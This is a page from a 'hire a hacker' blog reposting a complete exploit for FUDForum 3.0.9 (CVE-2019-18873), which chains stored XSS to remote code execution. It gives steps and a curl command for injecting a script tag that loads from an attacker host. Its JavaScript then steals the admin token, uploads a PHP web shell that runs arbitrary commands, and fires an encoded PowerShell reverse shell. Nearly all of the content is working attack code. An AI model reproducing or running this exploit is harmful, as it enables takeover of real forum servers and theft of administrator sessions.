Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863549108

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title : FUDForum 3.0.9 - Remote Code Execution
# Date: 2019-10-26
# Exploit Author: liquidsky (JMcPeters)
# Vulnerable Software: FUDForum 3.0.9
# Vendor Homepage: https://sourceforge.net/projects/fudforum/
# Version: 3.0.9
# Software Link: https://sourceforge.net/projects/fudforum/files/FUDforum_3.0.9.zip/download
# Tested On: Windows / mysql / apache
# Author Site: https://github.com/fuzzlove/FUDforum-XSS-RCE
# Demo: https://youtu.be/0gsJQ82TXw4 | https://youtu.be/fR8hVK1paks
# CVE: CVE-2019-18873


// Greetz : wetw0rk, Fr13ndz, offsec =)
//
// Description: Multiple Stored XSS vulnerabilities have been found in FUDforum 3.0.9 that may result in remote code execution.
//              The areas impacted are the admin panel and the forum.
//
//  XSS via username in Forum:
//  1.  Register an account and log in to the forum.
//  2.  Go to the user control panel. -> Account Settings -> change login
//  3.  Insert javascript payload <script/src="http://attacker.machine/fud.js"></script>
//  4.  When the admin visits the user information the payload will fire, uploading a php shell on the remote system.
//
//  XSS via user-agent in Admin Panel:
//  1.  Register an account and log in to the forum. If you have an IP already associated with a registered user this is not required. This step is so when you run the XSS payload from your attacker machine it gets logged under the user activity.
//  2.  Send the XSS payload below (from an IP associated with an account) / host the script:
//  3.  curl -A '<script src="http://attacker.machine/fud.js"></script>' http://target.machine/fudforum/index.php
//  4.  When the admin visits the user information from the admin controls / User Manager the payload will fire under "Recent sessions", uploading a php shell on the remote system.
//

function patience()
{
	var u=setTimeout("grabShell()",5000);
}

// This function is to call the reverse shell php script (liquidsky.php).
// currently using a powershell payload that will need to be modified.
function grabShell()
{
	var url ="/fudforum/liquidsky.php?cmd=%70%6f%77%65%72%73%68%65%6c%6c%20%2d%45%6e%63%6f%64%65%64%43%6f%6d%6d%61%6e%64%20%4a%41%42%6a%41%47%77%41%61%51%42%6c%41%47%34%41%64%41%41%67%41%44%30%41%49%41%42%4f%41%47%55%41%64%77%41%74%41%45%38%41%59%67%42%71%41%47%55%41%59%77%42%30%41%43%41%41%55%77%42%35%41%48%4d%41%64%41%42%6c%41%47%30%41%4c%67%42%4f%41%47%55%41%64%41%41%75%41%46%4d%41%62%77%42%6a%41%47%73%41%5a%51%42%30%41%48%4d%41%4c%67%42%55%41%45%4d%41%55%41%42%44%41%47%77%41%61%51%42%6c%41%47%34%41%64%41%41%6f%41%43%63%41%4d%51%41%35%41%44%49%41%4c%67%41%78%41%44%59%41%4f%41%41%75%41%44%49%41%4f%41%41%75%41%44%45%41%4e%51%41%79%41%43%63%41%4c%41%41%30%41%44%51%41%4d%77%41%70%41%44%73%41%4a%41%42%7a%41%48%51%41%63%67%42%6c%41%47%45%41%62%51%41%67%41%44%30%41%49%41%41%6b%41%47%4d%41%62%41%42%70%41%47%55%41%62%67%42%30%41%43%34%41%52%77%42%6c%41%48%51%41%55%77%42%30%41%48%49%41%5a%51%42%68%41%47%30%41%4b%41%41%70%41%44%73%41%57%77%42%69%41%48%6b%41%64%41%42%6c%41%46%73%41%58%51%42%64%41%43%51%41%59%67%42%35%41%48%51%41%5a%51%42%7a%41%43%41%41%50%51%41%67%41%44%41%41%4c%67%41%75%41%44%59%41%4e%51%41%31%41%44%4d%41%4e%51%42%38%41%43%55%41%65%77%41%77%41%48%30%41%4f%77%42%33%41%47%67%41%61%51%42%73%41%47%55%41%4b%41%41%6f%41%43%51%41%61%51%41%67%41%44%30%41%49%41%41%6b%41%48%4d%41%64%41%42%79%41%47%55%41%59%51%42%74%41%43%34%41%55%67%42%6c%41%47%45%41%5a%41%41%6f%41%43%51%41%59%67%42%35%41%48%51%41%5a%51%42%7a%41%43%77%41%49%41%41%77%41%43%77%41%49%41%41%6b%41%47%49%41%65%51%42%30%41%47%55%41%63%77%41%75%41%45%77%41%5a%51%42%75%41%47%63%41%64%41%42%6f%41%43%6b%41%4b%51%41%67%41%43%30%41%62%67%42%6c%41%43%41%41%4d%41%41%70%41%48%73%41%4f%77%41%6b%41%47%51%41%59%51%42%30%41%47%45%41%49%41%41%39%41%43%41%41%4b%41%42%4f%41%47%55%41%64%77%41%74%41%45%38%41%59%67%42%71%41%47%55%41%59%77%42%30%41%43%41%41%4c%51%42%55%41%48%6b%41%63%41%42%6c%41%45%34%41%59%51%42%74%41%47%55%41%49%41%42%54%41%48%6b%41%63%77%42%30%41%47%55%41%62%51%41%75%41%46%51%41%5a%51%42%34%41%48%51%41%4c%67%42%42%41%46%4d%41%51%77%42%4a%41%45%6b%41%52%51%42%75%41%47%4d%41%62%77%42%6b%41%47%6b%41%62%67%42%6e%41%43%6b%41%4c%67%42%48%41%47%55%41%64%41%42%54%41%48%51%41%63%67%42%70%41%47%34%41%5a%77%41%6f%41%43%51%41%59%67%42%35%41%48%51%41%5a%51%42%7a%41%43%77%41%4d%41%41%73%41%43%41%41%4a%41%42%70%41%43%6b%41%4f%77%41%6b%41%48%4d%41%5a%51%42%75%41%47%51%41%59%67%42%68%41%47%4d%41%61%77%41%67%41%44%30%41%49%41%41%6f%41%47%6b%41%5a%51%42%34%41%43%41%41%4a%41%42%6b%41%47%45%41%64%41%42%68%41%43%41%41%4d%67%41%2b%41%43%59%41%4d%51%41%67%41%48%77%41%49%41%42%50%41%48%55%41%64%41%41%74%41%46%4d%41%64%41%42%79%41%47%6b%41%62%67%42%6e%41%43%41%41%4b%51%41%37%41%43%51%41%63%77%42%6c%41%47%34%41%5a%41%42%69%41%47%45%41%59%77%42%72%41%44%49%41%49%41%41%67%41%44%30%41%49%41%41%6b%41%48%4d%41%5a%51%42%75%41%47%51%41%59%67%42%68%41%47%4d%41%61%77%41%67%41%43%73%41%49%41%41%6e%41%46%41%41%55%77%41%67%41%43%63%41%49%41%41%72%41%43%41%41%4b%41%42%77%41%48%63%41%5a%41%41%70%41%43%34%41%55%41%42%68%41%48%51%41%61%41%41%67%41%43%73%41%49%41%41%6e%41%44%34%41%49%41%41%6e%41%44%73%41%4a%41%42%7a%41%47%55%41%62%67%42%6b%41%47%49%41%65%51%42%30%41%47%55%41%49%41%41%39%41%43%41%41%4b%41%42%62%41%48%51%41%5a%51%42%34%41%48%51%41%4c%67%42%6c%41%47%34%41%59%77%42%76%41%47%51%41%61%51%42%75%41%47%63%41%58%51%41%36%41%44%6f%41%51%51%42%54%41%45%4d%41%53%51%42%4a%41%43%6b%41%4c%67%42%48%41%47%55%41%64%41%42%43%41%48%6b%41%64%41%42%6c%41%48%4d%41%4b%41%41%6b%41%48%4d%41%5a%51%42%75%41%47%51%41%59%67%42%68%41%47%4d%41%61%77%41%79%41%43%6b%41%4f%77%41%6b%41%48%4d%41%64%41%42%79%41%47%55%41%59%51%42%74%41%43%34%41%56%77%42%79%41%47%6b%41%64%41%42%6c%41%43%67%41%4a%41%42%7a%41%47%55%41%62%67%42%6b%41%47%49%41%65%51%42%30%41%47%55%41%4c%41%41%77%41%43%77%41%4a%41%42%7a%41%47%55%41%62%67%42%6b%41%47%49%41%65%51%42%30%41%47%55%41%4c%67%42%4d%41%47%55%41%62%67%42%6e%41%48%51%41%61%41%41%70%41%44%73%41%4a%41%42%7a%41%48%51%41%63%67%42%6c%41%47%45%41%62%51%41%75%41%45%59%41%62%41%42%31%41%48%4d%41%61%41%41%6f%41%43%6b%41%66%51%41%37%41%43%51%41%59%77%42%73%41%47%6b%41%5a%51%42%75%41%48%51%41%4c%67%42%44%41%47%77%41%62%77%42%7a%41%47%55%41%4b%41%41%70%41%41%6f%41";
 	xhr = new XMLHttpRequest();
	xhr.open("GET", url, true);
	xhr.send(null);

}

function submitFormWithTokenJS(token) {
    var xhr = new XMLHttpRequest();
    xhr.open("POST", '/fudforum/adm/admbrowse.php', true);

    // Send the proper header information along with the request
    xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary=-----------------------------9703186584101745941654835853");

    var currentdir = "C:/xampp/htdocs/fudforum"; // webroot - forum directory
    var fileName = "liquidsky.php";
    var url      = "/fudforum/adm/admbrowse.php";
    var ctype    = "application/x-php";
    var fileData = "<?php if(isset($_REQUEST['cmd'])){ echo '<pre>'; $cmd = ($_REQUEST['cmd']); system($cmd); echo '</pre>'; die; }?>";
    var boundary = "-----------------------------9703186584101745941654835853";
    var fileSize = fileData.length;

    var body = "--" + boundary + "\r\n";
    body += 'Content-Disposition: form-data; name="cur"\r\n\r\n';
    body += currentdir + "\r\n";
    body += "--" + boundary + "\r\n";
    body += 'Content-Disposition: form-data; name="SQ"\r\n\r\n';
    body += token + "\r\n";
    body += "--" + boundary + "\r\n";
    body += 'Content-Disposition: form-data; name="fname"; filename="' + fileName + '"\r\n';
    body += "Content-Type: " + ctype + "\r\n\r\n";
    body += fileData + "\r\n\r\n";
    body += "--" + boundary + "\r\n";
    body += 'Content-Disposition: form-data; name="tmp_f_val"\r\n\r\n';
    body += "1" + "\r\n";
    body += "--" + boundary + "\r\n";
    body += 'Content-Disposition: form-data; name="d_name"\r\n\r\n';
    body += fileName + "\r\n";
    body += "--" + boundary + "\r\n";
    body += 'Content-Disposition: form-data; name="file_upload"\r\n\r\n';
    body += "Upload File" + '\r\n';
    body += "--" + boundary + "--";

    xhr.send(body);
}

//Grab SQ token
var req = new XMLHttpRequest();

req.onreadystatechange=function()
{
  if (req.readyState == 4 && req.status == 200) {
    var htmlPage = req.responseXML; /* fetch html */
    var SQ = htmlPage.getElementsByTagName("input")[0]
    submitFormWithTokenJS(SQ.value);
  }
}

req.open("GET", "/fudforum/adm/admuser.php", true);
req.responseType = "document";
req.send();

patience();